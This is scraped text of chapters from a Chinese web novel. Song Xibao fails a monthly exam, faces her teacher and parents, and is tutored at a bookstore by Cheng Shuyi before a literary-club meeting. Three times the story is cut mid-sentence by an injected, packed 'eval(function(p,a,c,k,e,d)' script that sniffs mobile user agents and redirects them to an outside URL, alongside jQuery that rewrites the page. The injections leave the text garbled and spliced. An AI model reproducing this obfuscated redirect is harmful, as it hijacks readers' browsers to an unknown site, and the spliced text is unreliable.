整个晚上，宋西宝一直在旁边劝少喝点少喝点，都有点幻视她妈劝她爸了，但好在程书逸酒量比她强，喝了半瓶下桌的时候也没脚底下打偏，还能走直线呢！ 两人睡觉的房间奶奶已经收拾好了，怕夜里凉，奶奶又指挥她给程书逸的房间换了床厚一点的被子。 宋西宝换完被子找不见程书逸人了，到院子里一瞧，好嘛，人家童心未泯，玩起秋千了。 “玩一次十块啊！”宋西宝走过去，抱着双臂站在秋千旁看他。 程书逸双脚落地将秋千停了下来，他头低着，好像是有点不高兴了，咕哝一声：“小气。” 宋西宝乐了，觉得他这模样瞧着稀奇，忍不住走近了蹲下去，从下往上瞧他的脸道：“喝醉啦？” 她自己都没意识到自己的语气变轻了，就像在同一个闹别扭的小朋友讲话。 程书逸蓦地出手捏住她脸，宋西宝哎哟一声，痛得连连打他手道：“放开我！你毛病啊！喝多了就揪人脸！” 程书逸轻哼一声松开手，又抓住秋千小幅度地荡了起来，嘴里还咕哝道：“你总是骗我。” 宋西宝揉着脸，没好气道：“我骗你什么了？” 程书逸噘着嘴不肯说。 大晚上的，眼瞅着天气已经入秋了，宋西宝不想陪他在院子里吹冷风，拽了他一把道：“进屋去吧，外面冷死了。” “冷吗？”程书逸抬头看她，月光流进他的眼睛里，像盛了两碗亮盈盈的碎光，而他眼神无辜，表情朦胧，就像个可怜又可爱的幻梦。 宋西宝忍不住想，这人确实是生了一副好相貌。 那些她在看小说时一晃而过的外貌描写在此刻全都具象而立体地展示在了她面前——什么目若朗星、鼻若悬胆、唇红齿白……以至于她忍不住冒出一句：“程书逸，那帮选你当校草的人确实还是有点眼光的。” 少年眉梢一挑，满脸都写着“当然”二字。 宋西宝忽然觉得他前所未有的可爱，没忍住起身替他推起了秋千。 奶奶在堂屋门口喊，让他俩不看电视的话就早些收拾了睡觉，晚上天气冷，不要在院子里久玩。 宋西宝答应了一声，程书逸扭头忿忿地看着她说：“你奶奶对你真好。” 宋西宝反问：“你奶奶对你不好啊？” 程书逸不说话，静了一会儿才低声说：“我小的时候她经常把我关阁楼上不让我出来。” 推绳的动作一顿，宋西宝“啊”了声，问：“为啥？” 程书逸说：“因为我调皮，不听话，奶奶为了惩罚我，就把我关阁楼上让我面壁思过，阁楼很黑，还有很多老鼠，是我小时候最讨厌的地方。” 他语气忿忿，似乎还带有一丝怨恨，眼神里则充斥着迟来的委屈。 宋西宝望天想了一阵，说：“那还是我爷爷好，我小时候要是犯错了，调皮捣蛋，他顶多打我手板或者屁股，实在不行就罚我去挑粪然后绕村子里走一圈。” “噗。”程书逸笑出了声。 宋西宝说：“真的啊！我小时候真的挑过粪！就一点点，多了我也挑不动……”她脸上现出回忆往事的神情，“你都不知道那粪桶有多臭！关键是丢脸你知道吗？当时我们村里那些小孩都围着我笑我，还叫我‘粪娃’，太耻辱了！” “哈哈哈哈哈哈！” 程书逸难得伤春悲秋一回，结果却被她逗得捧腹大笑。 笑着笑着，他像是忽然想通了，觉得以前那些对他来说仿佛噩梦一般的事也没什么了，毕竟他奶奶都死了，他再时不时地为这些事郁闷一下、难过一下又有什么意思呢？死了的人又不会知道。 “西宝。”程书逸叫她。 “啊？” 程书逸打了一下腹稿，发现一本正经地同她说谢谢对他来说太难了，他莞尔一笑，抬手一把抓紧她肩膀道：“好兄弟！” 宋西宝朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不对，她也写了的，她在每道题下面都写了一个“解”字，然后还把一些题目里的公式条件原模原样的摘抄了一遍…… 四中老师阅卷很快，三天后月考成绩新鲜出炉。 十四班教室内，章楚楚刚把年级排名和班级排名贴出来，同学们就一窝蜂地拥了上来，宋西宝和谢飞燕也在其中，她俩看完各自的成绩和名次，心如死灰地闭了闭眼。 这时，有人在旁边嘀咕了一句：“程书逸这次没考第一啊！” 嗯？？？？ 宋西宝大脑一惊，瞬间把自己考得稀烂的成绩甩到了一边去，重新凑近从上往下看了一眼—— 这次月考，程书逸确实不是年级第一，他掉到第二了，第一是蔡春华。 咋回事？轻敌了？ 宋西宝咬着嘴唇琢磨着——这个春花，平时看着傻乎乎的，还总喜欢跟程书逸套近乎，表现出一副自己很崇拜很欣赏程书逸的模样，原来是在扮猪吃老虎啊！ 宋西宝完全没注意到蔡春华的总分只比程书逸高了两分这个细节，她只看到从小保持各种第一名的程书逸这回破天荒地突然变第二了这个事实。 她表现得比当事人还忧心，赶紧在群里散布了这个“噩耗”，并私聊了程书逸，问他：“你没事吧？” 【阿饼：我有什么事？】 【最近爱吃炸土豆：你们班还没通知成绩吗？你这次月考排春花后面了！你成老二了！】 【阿饼：你是不是弄错了？】 【最近爱吃炸土豆：啥弄错了？】 【阿饼：我是考了年级第二不是年级倒数第二，你还是多操心操心你自己吧！年级589名。】 宋西宝：“…………………………” 37. 月考 宋西宝月考没考好，成绩单拿回家里，爸妈一阵阵地叹气。 也不怪他们叹气，初中她考再差也没考过倒数，这回直接考了个班级倒数第九名，搞得她爸宋卫国都有点迷茫了，不晓得当初让她踩线上四中究竟是对是错？ 毕竟当初袁老师也说了，她中考属于超常发挥，说不定她去了八中，这成绩单还能好看点。 面对宋爸的质疑，宋妈却有不同见解，她大手一挥，不容置疑道：“老话说，求其上得其中，求其中得其下，求其下无所得。我管她中考是不是踩了狗屎运！反正能上好学校咱们肯定要上！而且上了就不要叽叽歪歪的后悔，这次没考好，还有下次，这又不是什么一锤子买卖！” 宋西宝难得被老妈力挺，顿时心生豪情，冲动道：“妈我下次肯定考好！” 谭淑媛：“嗯！妈妈相信你！先写个保证书先。” 宋西宝：“……” 说好的相信我呢？ 宋西宝恹恹问：“保证什么？” 谭淑媛：“保证下次月考不考倒数，做不到就上交手机。” 宋西宝哭喊：“妈妈……” 谭淑媛：“别喊，你要能不考倒数，让我叫你妈都成！” 一旁的宋爸没憋住噗嗤一声笑了出来。 宋西宝怨念地瞪了她爹一眼，闭嘴去写保证书了。 应付完爸妈这边，周天收假，宋西宝作为班级倒数十名的其中之一，又被班主任魏勇叫去了办公室谈话。 刚开学的时候，宋西宝瞧着这位斯斯文文戴个眼镜，外表异常年轻的班主任，还觉得他面善，肯定是个好说话的人。 结果九月搞班委竞选会那次她就明白了，自己完全想错了，他们班这位魏老师，不是“年轻好欺负”那类型的，而是“年轻火气旺”那类型的。 惹到他，那可真是惹到麻烦了。 谢飞燕跟宋西宝是落难姐妹花，宋西宝考倒数第九，她考倒数第八，两个人里她先被叫去了办公室谈话，然后回来趴桌上就开始哭，哭得宋西宝心惊胆战的，出教室的时候感觉自己像是去上吊的。 “咚咚——” 宋西宝敲了敲虚掩着的办公室门，然后小心翼翼地推开点缝喊了声报告。 魏勇说：“进来。” 宋西宝深吸口气吐出，一脚踏进了办公室。 办公室里还有别的老师在，宋西宝走到魏勇办公桌前，两手在身前抠来抠去，小声地喊了声魏老师。 魏勇脸色很差，眉头皱成“川”字全程就没松开过，他掀开眼皮看了她一眼，重重地吐出一口闷气道：“开学一个多月了宋西宝，我观察过你，你应该是个挺聪明的孩子，但是你的聪明怎么就用不到正道上呢！！” 魏勇开始敲桌子了。 宋西宝滚刀肉似的站着，听班主任训话就跟听和尚念经一样，只知道是在说话，但一个字也没听进心里去。 老师批评她的这些话她很耳熟，可以说从小听到大，有时候可能说得不一样，但表达的意思都是同一个意思，就是说她读书不用心，不认真，不努力，明明能使一百分的劲，她却只愿意使二十分。 宋西宝心里其实也蛮无奈的，心大如她甚至有时候也会觉得很痛苦，就是，凭什么所有人都理所当然地觉得她没努力呢？为什么就没有人相信她其实已经努力过了呢？ 当然，就算她这样反问，对面的人会说什么样的话来反驳她，她其实大概都猜得到。 比如对面会说：那就是你努力得还不够！ 怎样算够呢？ 真的要“只要学不死就往死里学吗？” 有时候她真的觉得有口难言，明明爸妈、老师都是比她懂得更多的成年人，但是好像他们还没她明白一个道理，那就是人人生而不同。 对程书逸来说，他能很轻松就做到坚持长时间地学习，甚至他本身就是喜欢学习、喜欢钻研的那类人。 但同样的事对她来说就是很难做到，她再怎么努力也很难做到，她没有办法控制自己不开小差，也没有办法控制自己安安静静地坐在书桌前一动不动。 她就是喜欢玩，喜欢东瞧瞧西瞧瞧，对跟学习无关的一切事物都充满好奇心，这是错吗？ 那为什么大人就可以想干嘛就干嘛？谁来管管大人让他们也一天十几二十个小时坐在书桌前看书学习呢？ 为什么她只是想要开心快乐的生活却变成了她有错呢？ 为什么呢？ 魏勇说得越多，宋西宝心里的叛逆思想就越重，但她并没有表现出来。 勾践事吴，刘邦忍辱，多年“战斗”经验告诉她，识时务者为俊杰，她只有低头乖乖挨骂，才能尽快脱身。 “……这月底还有期中考试，考完学校会安排开家长会，如果期中考试，我再看不到你成绩上的进步，那就只能请你父母来趟我办公室，我们一起想想办法了。”魏勇最后说。 从办公室出来后，宋西宝阴云罩顶，总算知道谢飞燕在哭什么了。 父母和班主任1v1对话这种事听上去也太地狱了，宋西宝痛定思痛，决定找学霸给她补补课。 为了提高成绩，她主动找到方思彤和季苒说想补课，三人于是约好周六一起去市图书馆自习。 周笃文听说后，非要加入——他月考也没考好，诚如他所说沦为了重点班之耻，也是倒数几名。 宋西宝一听他也倒数，心中顿生惺惺相惜之感，于是同意了他也一起来。 但是市图书馆周末人实在太多了，他们上午九点半赶到，几层楼转了个遍，愣没找到四个一起的空位。 见此情形，周笃文大手一挥，豪气道：“咱们直接去枫叶书店自习吧，那儿也有座位，还有小吃和饮料，我请你们！” 三女生一听，那还犹豫什么，走起！ 枫叶书店的前身叫一毛书屋，主打借阅服务，只需要五十块钱办张借书卡，然后就能凭卡借书，一本书借一天只需要一毛钱。 宋西宝以前是一毛书屋的常客，后来一毛书屋经营不善换了老板，更名叫枫叶书店，只卖书不借书了，她就去的少了，因为没那么多零花钱。 枫叶书店的老板是个女人，姓卿，具体叫什么名字不清楚。 卿老板瞧见宋西宝跟几个朋友进来，自然地同她点头打了个招呼。 四个人找了张空桌坐下，点完单，上东西的时候服务员多拿了一篮薯条给他们，说：“老板送你们的。” 四人吃吃喝喝半小时，谁也没提学习的事，宋西宝瞧季苒抱着杯子一脸神游天外，倾身过去在她眼跟前挥了挥手：“嘿！” “嗯、嗯？”季苒回神，还以为自己错过了什么，“你说什么？” “我没说什么。”宋西宝一脸奇怪地看着她问，“怎么了，魂不守舍的？” 方思彤和周笃文也看着她，季苒笑容勉强地摇了摇头。 大家都知道季苒的性格，她不想说的事逼问也没用，于是宋西宝也没再追问下去，而是新起了个话题，问季苒住校的感觉怎么样？ 和四中不一样，市一中是半军事化管理，要求所有学生不管本地还是非本地都必须要住校，只有放周假和月假的时候学生们才有机会出校回家。 季苒说了一些住校的感受，听上去还是适应得很快，但她的表情看上去还是郁郁寡欢的，宋西宝给方思彤使了个眼色，方思彤跟着问：“那学习呢？你在一中学习跟得上吗？” 说到学习，季苒神色更加黯淡，她不自觉埋低了头，声音也变得很小，整个人看上去就是极度的不自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037970|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信——她轻轻摇头，说：“我感觉我跟不上，你们刚刚说你们第一次月考没考好，其实我也考得不好，是很不好……” 一滴泪轻盈掉落在她膝盖上。 宋西宝一惊，慌忙扯了两张卫生纸塞给她，急道：“没事季苒，你别哭啊！一次没考好而已嘛，还有机会的！我妈说了，内什么，求上得中，求中得下，好学校肯定竞争大压力也大，这都是正常的……” 宋西宝边说边给对面俩人使眼色，周笃文忙道：“就是季苒，老大说得对，只是一次月考而已，代表不了什么，你下次努力考好就行了。” 可惜他俩说的这些安慰的话实在太空泛也太无力了，不仅没有止住季苒的眼泪，反而还让她眼泪掉得更凶了。 季苒抽泣道：“我真的考得很差，你们都不知道……我……我也考了倒数。” 宋西宝把嘴巴咬死了才忍住没笑出来，季苒抬起脸看她，羞恼地拍了她一记，哽咽道：“你还笑！” “我、我没笑啊！”宋西宝一脸冤枉。 对面周笃文没忍住笑出了声，紧接着方思彤也笑了，宋西宝赶紧抿紧嘴巴示意自己绝对不笑！ 季苒瘪着嘴、脸上挂着两行清泪看他们，过了几秒，没憋住也噗嗤一声笑了出来。 哭哭笑笑半天，方思彤问：“你是不是后悔去一中了？” 季苒吸了吸鼻子，点头，又摇头，最后说：“我怕我一直考倒数。” “不会的！”宋西宝一口否认道，“我跟你说，你下次绝对不可能考倒数。” 季苒问：“你怎么知道？你会算命啊？” 宋西宝说：“我就是知道！” 季苒哼一声。 结果方思彤也说：“我跟老大看法一致，我也觉得你下次肯定不会考倒数了。” “啊？”季苒表情蠢萌地看着方思彤问，“为什么？” 宋西宝笑嘻嘻揽住她肩道：“因为下次再考倒数，季老师就该抹脖子上吊了。” “宋西宝！”季苒气哼哼地推了她一下，宋西宝顺势笑歪在椅子里。 说说笑笑一番后，季苒的心情看上去好了不少，起码不再那么愁眉苦脸了。 她说：“其实我是有点后悔去了一中，不光是学习成绩的事，还有就是……” 她支支吾吾说不出口，宋西宝追问：“还有就是什么？” 季苒沉沉叹一口气，没说太多的，只说很羡慕他们都在同一所学校，而她在一中到现在都还没交到朋友。 “好啦好啦，不说这些不开心的事了，咱们今天是出来学习的，不能再聊闲天了。”季苒一脸严肃，几人忙哦哦答应着开始收拾桌面。 正式开始补课前，季苒和方思彤先对了一下两个学校的上课进度以及两个学校月考试卷出题的差异，她俩在那儿专注得不行，旁边宋西宝和周笃文插不上话，只好大眼瞪小眼的你看看我我看看你。 “诶，你这次考倒数，你爸妈有没有说你啊？”宋西宝问周笃文。 周笃文摇头：“没说我，我妈还怪我爸不该把我送进重点班受罪。” 宋西宝咋舌道：“我靠你妈人也太好了吧？” “好吗？”周笃文翻个白眼，“她连我具体在哪个班都不知道。” 周笃文老妈李萍是出了名的喜欢打麻将，用谭淑媛的话说，她是把打麻将当成了自己的事业，每天按时按点到麻将馆打卡上班，简直风雨无阻。 事业心重的女性，难免忽略家庭，周笃文每次提起他妈都翻白眼，不过他翻归翻，实际还是很支持他妈咪事业的—— 去年区里民间组织了一场麻神比赛，李萍连战告捷，可惜决赛败了，最后只拿了个二等奖，她上台领奖的时候，周笃文和周鹏发父子俩就坐在台下给她鼓掌，可骄傲了！ 38. 书店 他们四个在书店学习了一上午，中间好几次宋西宝都差点学睡过去，季苒面慈心狠，最后一次给她在太阳穴两边涂了快小半瓶的清凉油，那味冲得她一连打了七八个喷嚏，脑门凉得像敷了冰块。 中午周笃文又请她们仨女生一起去街对面的麦当劳吃了汉堡，几人正吃着饭呢，蒋博光在他们三个男生的小群里发消息，艾特程书逸和周笃文说下午一起去技校打球。 程书逸回了个ok。 周笃文说自己去不了要补课。 程书逸一听，忙问他报的哪家机构？说最近新闻爆出来好几家大机构都跑路了，让他一定要分辨清楚，别被骗了。 周笃文举起手机悄悄拍了一张对面仨女孩的照片发在群里： 【师爷：报的方老师和季老师的机构。】 群里另外两人很快发来消息： 【阿饼：？？你们补课居然不叫我？】 【心碎??了無佷：？？你们吃汉堡居然不叫我？】 最后，程书逸硬拽着蒋博光也来了枫叶书店。 蒋博光一本书没带，就手里抱了颗篮球，他一边往上抛着篮球一边跟在程书逸身后进了书店，嘴里还在抱怨：“你想来你就自己来嘛！干嘛非得拽上我啊？我想去打球，不想来学习。” 程书逸扭头瞪他一眼：“我们是一个组合你懂不懂？” “……” 蒋博光闭嘴了，心里有种程书逸跟他们这群人混久了也开始变傻了的感觉。 “老程！这儿！”周笃文起身给他俩挥了挥手。 程书逸也掏出手来回应了一下。 宋西宝看见他来，气闷地翻了个白眼——她还在生程书逸的气，为了上次他嘲讽她考年级589名的事。 宋西宝心气不顺地在桌子底下踢了周笃文一脚——谁让你叫他来的？ 周笃文赔笑，主动说：“我再去吧台加点东西，西宝你想吃什么？” 宋西宝不客气道：“再加三对烤翅！两盒炸土豆！” 周笃文：“好嘞！” 原本安静严肃的自习氛围伴随着蒋博光的到来，瞬间土崩瓦解，再加上有宋西宝这么个话痨，那闲话说起来真是没完没了。 周财神今天大出血，很快就又点了一桌子好吃好喝的端上来。 面对松散的课堂纪律和调皮捣蛋的学生，季老师“回天无力”，索性把书本一推，加入了他们的八卦阵营—— “我天，你们学校这么乱啊？大晚上的还能翻墙出去上网？” “是啊，不过被逮到了就惨了，上周我们隔壁班就开除了一个，那兄弟胆子太大了，上上个礼拜刚因为翻墙被处分，这个礼拜又翻出去上网，他还带着他们宿舍的一起翻，所以这回被抓住以后学校直接就把他开除了。”蒋博光说，“他还叫了我来着，幸好我没去。” 宋西宝问：“你咋没去？” 蒋博光不好意思地说：“我恐高。” 几人哈哈大笑，蒋博光试图找回些面子，急道：“尼玛你们是不知道，我们宿舍在七楼！从七楼往下爬！尿都要吓出来！我真不知道他们几个怎么敢的！” 几人边吃边聊，蒋博光持续放送八卦，接着说：“你们知道我们学校有个女的多夸张不？” 几人憨憨摇头。 蒋博光说：“就是高一有个女的，长得听说还可以，她跟高三一个男的谈恋爱，结果谈着谈着那个男的不跟她谈了，说要跟她分手，尼玛的，她在宿舍厕所割腕你们知道吗？吓死人！” “割腕？”宋西宝眼睛差点瞪出来，季苒着急道，“然后呢？她死了吗？” 蒋博光摇头：“不知道，反正那天晚上110和120都来我们学校了，我们在楼上看到对面女生楼抬了副担架出来，他们说估计是死翘翘了。” 宋西宝皱眉道：“人要真死了的话，那男的也得受到处罚吧？” 周笃文撇嘴：“未必，割腕是自杀行为，人又不是他杀的。” 程书逸也跟着说：“确实，说不定他不仅不会被处罚，学校还要帮忙给他瞒着。” 蒋博光猛猛点头道：“对对，我们班主任专门给我们打了招呼的，让我们不准在外面乱说这些事情，也不准去高三楼打听，那个男的是谁根本就没人知道，只听说是高三的。” “太不值了。”宋西宝义愤填膺道，又说，“幸好我没去八中，这学校怎么这么垃圾啊！” 蒋博光冷笑道：“就是个垃圾学校，垃圾人巨多，我踏马跟他们比起来都算小白莲了！” “不过呢，这事也有个好处。”蒋博光又说，“以前我们学校学生谈恋爱老师都不怎么管，宿舍楼底下天天晚上都有人藏墙根那儿牵手亲嘴，现在……呵，全都劳燕分飞了，我们班好几对都转地下了。” 周笃文打趣道：“博哥是不是背着我们偷偷学习了，都会说成语了！” “尼玛！”蒋博光作势要揍他。 宋西宝忽然八卦问：“那你呢博哥，你有没有喜欢的女生？” 蒋博光伸到一半的拳头突然诡异地停下了。 周笃文见状，立刻指着他喊：“这表情！绝对有！” 蒋博光一巴掌打掉他手，不自在道：“你嚷嚷什么嚷嚷！” “谁啊？有没有照片给我们看看？”宋西宝来劲了。 几人起哄闹着说要看照片。 蒋博光不耐烦地把他们挥开，表情不自然道：“没照片！人家都不知道我喜欢她！” 程书逸靠在沙发上笑，说：“暗恋啊……” 这时，方思彤忽然提了一个问题：“那女孩叫什么名字啊？” 蒋博光看她：“你问这个干嘛？” 方思彤晃晃手机，说：“我看到空间有人转发这个，说可以数两个人的姓名笔画数算是不是天定姻缘。” 蒋博光说：“真的假的……” 宋西宝起哄：“你先说嘛，让彤姐给你算一下。” 蒋博光不自在地挠了挠头说：“她叫王琪，斜王旁的琪” 方思彤说：“我数数啊。” 最后数出来，“蒋博光”是30画，“王琪”是16画，加起来一共46画，代表“虐恋情深”。 蒋博光：“啥叫虐恋情深啊？” 宋西宝忙举手道：“这个我知道我知道！就是说你们俩感情发展的会非常的不容易，存在很多问题。” 蒋博光一听就皱眉，对方思彤说：“彤姐你把那个测试方法发群里，我自己数一遍，” 方思彤：“哦。” 当天晚上，程书逸躺床上翻来覆去的睡不着，饼干被他吵醒后十分不满，嗷地给了他一爪子翻身又在他枕头旁边卧下了。 程书逸扭头瞅它半晌，最后一把将它捞起来抱在怀里，嘀嘀咕咕地说：“天天睡觉多没意思啊，阿饼，哥哥教你认字吧！” 饼干虽然胖，但是胖得很灵活，听到说要学习，直接一扭身从他怀里跑开了，然后站在床尾一脸生气地冲他喵喵叫！ 程书逸贼心不死，又强行将它逮了回来，然后握着它的猫爪教它在被子上写—— “我们先写哥哥的名字，程、书、逸……” “一共27画。” “好的，我们再来写姐姐的名字，宋、西、宝……” “24画。” “那加起来就是51画。” “喵呜！”饼干的两条后腿猛蹬了一下，耐心已经要趋近于零了。 程书逸目的达到，立刻松开它将它放走了。 程书逸靠在床头玩手机。 他点进群里白天方思彤发的那个“笔画测试有缘人”，翻了两页，找到了51画的含义。 上面显示，51画代表有缘无分。 “呵。”程书逸冷笑一声，立马关了手机，熄灯睡觉。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044626|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >补课小组持续进行中，不过蒋博光说什么都不来了。 这天，宋西宝正在死磕一道不等式题，程书逸见了，一把拿起她面前的练习册边看边说：“什么题把你难成这样……” “诶呀你还给我！”宋西宝烦得不行，伸手想把练习册抢回来。 程书逸往旁边躲，眼睛看着练习册，嘴里跟着念出了题目：“若不等式二分之a平方加b平方加三大于等于x倍a加b对于任意正数ab成立，则实数x的最大值为……这道题挺简单的啊，你不会？” 宋西宝倾身过去拽着他，终于夺回了自己的练习册，她气闷道：“对！我不会！” 程书逸说：“我给你讲。” 宋西宝瞪他一眼，一口拒绝道：“不需要！” 程书逸不懂：“你不是不会做吗？我给你讲啊！” 宋西宝不搭理他，自己跟自己较上劲了。 过了会儿，宋西宝还是没把那道题解出来，季苒问她要不要自己给她讲一下？宋西宝表情烦躁地摇摇头，说她自己再看看。 程书逸瞟了她一眼，唰唰几下在演草纸上写好解题过程，然后不动声色地给她递了过去。 宋西宝抬头看他一眼，倒是没再拒绝，不过她看了半天，没看懂。 “为什么这里变成二分之a加b的完全平方了啊？”宋西宝拿起演草纸问他。 程书逸说：“均值定理知道吗？” 宋西宝点点头。 程书逸拿起笔在演草纸上给她写：“两边平方，然后把左边展开，整理一下，减去2ab，就得到了这个……”他唰唰画了两笔横线在推导出的结论上。 宋西宝问：“然后呢？” 程书逸说：“然后这里我们乘一个二倍a加b分之一就能得到四分之——” “等等，为什么要乘这个啊？咋不乘别的呢？”宋西宝打断他。 “因为要消掉这两个——”程书逸在纸上画了两笔，“然后变形化简。” “哦。” 程书逸把这道题掰开揉碎了给宋西宝讲了一遍，发现她对教材上的知识点掌握得很差，记都没记住，更不用说合理运用了。 “你先别做题了，数学书带了没？咱们先把教材过一遍，你基础的知识点都没掌握，当然做不出来题了。”程书逸说。 宋西宝表情闷闷地把书包里的数学书翻了出来，又看了他一眼，问：“你给我讲啊？” “嗯。”程书逸点点头，又说，“还有你上次月考的卷子也拿给我看看，我看看你哪些知识点没掌握好。” 宋西宝说：“我没带，上周季苒给我看过了。” “对，我跟彤彤都给她看过了。”一旁季苒说，把笔记本往前翻了几页递给他道，“这是我们俩整理出来的她的扣分情况。” 程书逸说：“我看一下。”又眼神示意宋西宝，“你先翻到均值不等式那章自己再看一遍，把刚刚我跟你讲的消化一下。” 宋西宝：“哦。” 程书逸又说：“消化不了就死记硬背。” 宋西宝一撇嘴，气冲冲道：“我消化得了！” 宋西宝本来是想让季苒和方思彤给她查缺补漏，结果没想到最后成了程书逸来主要辅导她。 程大学霸的补课方式十分粗暴，那些定理知识，他会先掰开揉碎给她讲，能讲得通最好，讲不通他就要求宋西宝死记硬背，甚至他还会自己变形出类似的题目给她做，逼她做！一直做到她看到类似的题型脑子里能有个大概的解题思路为止。 宋西宝就这么被他折磨了一个月，月底期中考试，不说别的科，单说数学一科她的进步就堪称神速。 最后总成绩出来，她的年级排名直接往前升了两百多名，班级排名也来到了中游偏下的位置。 宋西宝平安且顺利地度过了家长会，为了感谢程书逸，她提出请他去吃梧桐一小后门的那家麻辣串。 39. 活动 宋西宝原本和程书逸约好了周五下午放假就去吃串串，结果周五下午她临时收到部长邵辉的通知，被叫去社团活动教室开会了。 路上，她给程书逸发消息，让他稍微等她一会儿，程书逸回复说好。 这次开会，除了他们活动部的人，还有徐嘉树、刘敏以及社联部的部长李欢，宋西宝到了活动教室才知道，今天开会是为了十一月做活动的事。 邵辉先给他们几个高一的放了点PPT，展示了一下以往文学社做过的活动，接着又给他们讲了一下活动的大致要求，需要兼具文学性与娱乐性两个方面，还要让所有学生都能参与进来。 “没事，你们要是有什么想法就说出来，有哪里不懂的也可以提问，今天我们开会就是为了把大家聚在一起商讨出一个大概的活动方案来，因为团委老师那边催得也比较急，这个活动最迟在十一月中旬必须要落地执行。”邵辉说。 台下响起窃窃私语，一个戴眼镜扎马尾的女生率先举手说：“我们可以搞一个写作比赛。” 邵辉还没来得及发表看法，旁边李欢先回答了：“刚不是给你们看PPT了吗？写作类的活动前年已经做过了你没看到吗？并且这类活动做出来效果并不好，这个方案不行。” 女生怯怯地“噢”了一声，闭上了嘴。 这时，徐嘉树突然倾身过去跟李欢说了点什么，李欢虽然表情不情愿，但还是开口道：“抱歉学妹，我不是批评你，只是确实你提出来的方案不是很适合，就算我们同意，上报到团委老师那里还是会被打回来的，大家一起再想想吧。” 这番话听着显然就比刚刚那番话顺耳多了，女生点点头，又开始做冥思苦想状。 他们不断地提出活动方案，又不断被否决，中间好不容易有一个听起来可行的，最后又因为执行起来预算太高而被否决了。 程书逸在教室里等了差不多快两个小时，这两个小时里，他刷了两套物理试卷加一套化学试卷，还写了三篇完形填空，眼看太阳一点点落下去，宋西宝开会开得音信全无，他忍不住发了条消息过去询问时间： 【阿饼：还要多久？】 【最近爱吃炸土豆：不知道……我脑子快炸了！】 【阿饼：怎么了？】 宋西宝大概跟他说了一下，程书逸表示知道了，又说自己还在教室。 【最近爱吃炸土豆：要不你先回去吧？串串先欠着，咱俩下次再一起去吃。】 【阿饼：没事我等你。】 【最近爱吃炸土豆：主要是刚刚学长说待会儿要一起去吃饭，接着讨论……】 程书逸盯着手机看了半天，最后无奈地回复了一句：好吧。 教室里还有住校的同学在，他们正在看电影。 四中每间教室都有电视机，有些远地方的住校生们放周假也不回家，为了打发在学校的无聊时光，他们通常会趁周末去校外的网吧下一些影片，然后放假的时候就能在教室插上U盘看。 看见他收拾东西准备走，坐在教室另一角的蔡春华暗松一口气，放下笔问：“走啦？” “嗯。”程书逸点头。 蔡春华又问：“老孟给的物理联赛的参考卷你做了吗？能借我对对不？” 程书逸在桌上翻了翻，翻出几张乱七八糟的卷子放在课本最上面道：“我放这儿了。” “得嘞！”蔡春华手撑着桌面起身往过走，又问他，“你今天怎么这么晚才走？” “等人。”程书逸言简意赅的说了句。 “走了。” “行，周天见。” 另一边忙着开会的一群人，把会议地点从活动教室换到了烤肉店，仍旧是徐嘉树请客。 邵辉一上来就毫不客气地点了一大堆荤菜，刘敏皱眉让他别点多了浪费，邵辉还笑嘻嘻地说：“社长又不差钱！点少了才是看不起他呢！” 不知道是不是宋西宝的错觉，她总觉得刘敏看起来不太高兴的样子，并且不像是单纯生邵辉的气，好像还有点生徐嘉树的气。 可能是因为场合变了，相应地开会的氛围也变得轻松了不少。 李欢居然要了一打啤酒，还一上来就给他们表演了一个筷子起瓶盖，那老练的模样，看的宋西宝跟旁边几个高一的一愣一愣的。 宋西宝一边跟他们说话，一边在桌底下发消息，问程书逸知不知道他们部长喝酒很厉害？ 可惜程书逸并没有回她。 她又说他们来吃烤肉了，还是徐嘉树请客。 这次程书逸回了，他让她多吃点，撑死算了。 显而易见，某人又炸毛了。 宋西宝正准备关掉扣扣，忽然，她看着手机里的好友列表想到了点什么，她迅速抬头道：“你们觉得‘找笔友’这个活动创意怎么样？” 大家都看着她，徐嘉树说：“你详细说说呢？” 于是宋西宝把她突如其来的灵感阐述了一遍。 她的这个活动灵感其实是来自于两年前她机缘巧合之下认识的一个网友——梧桐树下的旧梦。 那年她才读初二，因为成绩不理想，爸妈担心她考不上高中就想送她去补课。 那阵子流行远程教育班——以录播的形式让学生听名校名师讲课——爸妈觉得可行，就把她送去了一家远程教育机构补课。 这家机构离他们家卤肉铺很近，就隔一条街，市场里不少商户的孩子都在那儿补课，爸妈也给她报了一个季度班。 远程教育是线上课，要用电脑，机构的老师工作态度随意，并不是时时刻刻都盯着他们，宋西宝补课补得三心二意，常常趁机构老师玩手机或是出门打电话拉人头的功夫切屏玩电脑。 她玩电脑一般就是逛扣扣空间，这里踩踩那里踩踩，要不就是去空间论坛上找好看的短篇小说。 那天她又去论坛上逛，翻了好久都没找到什么好看的短篇小说，正准备退出去时忽然瞟到一个ID叫“梧桐树下的旧梦”。 或许是因为“梧桐”这两个字，她点了进去。 当时“梧桐”写的那篇文章的名字她到现在都还记得，叫《木偶人》。 文章不长，六七千字出头，但故事却讲得很完整，还是个悲剧。 她看得入戏，一时心绪难平，于是冲动之下点进“梧桐”的空间，在她的空间留言板上留下了评论。 她写道： 梧桐你好，我是你的读者。 我看了你写的《木偶人》，你写得太好看了！ 